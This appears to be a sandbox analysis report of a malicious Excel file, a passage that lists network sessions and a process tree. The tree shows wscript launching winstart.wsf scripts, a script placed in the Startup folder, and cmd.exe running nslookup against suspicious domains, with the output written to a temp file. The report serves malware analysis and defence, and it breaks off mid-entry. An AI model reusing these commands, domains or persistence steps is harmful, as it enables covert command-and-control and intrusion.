2024-12-09 05:50:19 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.11	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:19 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 7ea74f9e-f01e-0020-2403-48956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055020Z-r1cf579d7789trgthC1EWRkkfc000000089g000000000cwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.11	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:20 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 17cd2e0f-d01e-0028-4e0b-487896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055020Z-r1cf579d778lntp7hC1EWR9gg40000000710000000001pnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.11	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:21 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:21 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: f98a3af0-b01e-0097-5b04-484f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055021Z-r1cf579d778z4wflhC1EWRa3h000000007hg000000003pza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:21 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.11	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:21 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:21 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: e41cb5d4-501e-005b-3d70-49d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055021Z-r1cf579d778n7642hC1EWRpehw00000000q000000000121a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:50:22 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.11	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:21 UTC	192	OUT	GET /rules/rule702901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:21 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE53FACDA" x-ms-request-id: e683834a-c01e-008e-7b08-487381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055021Z-r1cf579d7786c2tshC1EWRr1gc000000073g000000005mnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:22 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Manageability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Target ID:	0
Start time:	00:49:07
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x200000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:49:09
Start date:	09/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:49:12
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Imagebase:	0x700000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:49:13
Start date:	09/12/2024
Path:	C:\Windows\System32\wbem\scrcons.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\scrcons.exe -Embedding
Imagebase:	0x7ff783c60000
File size:	52'736 bytes
MD5 hash:	FD8C66AD69CCF980E08ADA4EA35FD3FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:49:13
Start date:	09/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:49:14
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:49:15
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: wscript.exePID: 2028, Parent PID: 8008

General

Target ID:	10
Start time:	00:49:16
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: wscript.exePID: 2552, Parent PID: 2592

General

Target ID:	12
Start time:	00:49:39
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wscript.exe" //B "winstart.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:49:47
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:49:47
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:49:47
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\autoexec.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:49:47
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "%HOME%\winstart.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:49:52
Start date:	09/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Imagebase:	0x7ff7a2a20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: splwow64.exePID: 3396, Parent PID: 7544

General

Target ID:	20
Start time:	00:50:10
Start date:	09/12/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff705520000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	00:50:11
Start date:	09/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	00:50:29
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Imagebase:	0xc30000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:50:29
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:50:29
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\nslookup.exe
Wow64 process (32bit):	true
Commandline:	nslookup a1.airobotheworld.com
Imagebase:	0x9a0000
File size:	77'824 bytes
MD5 hash:	9D2EB13476B126CB61B12CDD03C7DCA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:50:30
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Imagebase:	0xc30000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:50:30
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:50:30
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\nslookup.exe
Wow64 process (32bit):	true
Commandline:	nslookup a1.aigoingtokill.club
Imagebase:	0x9a0000
File size:	77'824 bytes
MD5 hash:	9D2EB13476B126CB61B12CDD03C7DCA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:50:31
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Imagebase:	0xc30000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:50:31
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:50:31
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\nslookup.exe
Wow64 process (32bit):	true
Commandline:	nslookup a1.6cs6.club
Imagebase:	0x9a0000
File size:	77'824 bytes
MD5 hash:	9D2EB13476B126CB61B12CDD03C7DCA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:50:33
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Imagebase:	0xc30000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7540, Parent PID: 5556

General

Target ID:	32
Start time:	00:50:33
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:50:33
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\nslookup.exe
Wow64 process (32bit):	true
Commandline:	nslookup a1.6cs6.club
Imagebase:	0x9a0000
File size:	77'824 bytes
MD5 hash:	9D2EB13476B126CB61B12CDD03C7DCA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:50:35
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp
Imagebase:	0xc30000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3836, Parent PID: 4768

General

Target ID:	35
Start time:	00:50:35
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:50:35
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\nslookup.exe
Wow64 process (32bit):	true
Commandline:	nslookup a1.6cs6.club
Imagebase:	0x9a0000
File size:	77'824 bytes
MD5 hash:	9D2EB13476B126CB61B12CDD03C7DCA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:50:44
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp
Imagebase:	0x7ff707bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:50:44
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:50:44
Start date:	09/12/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
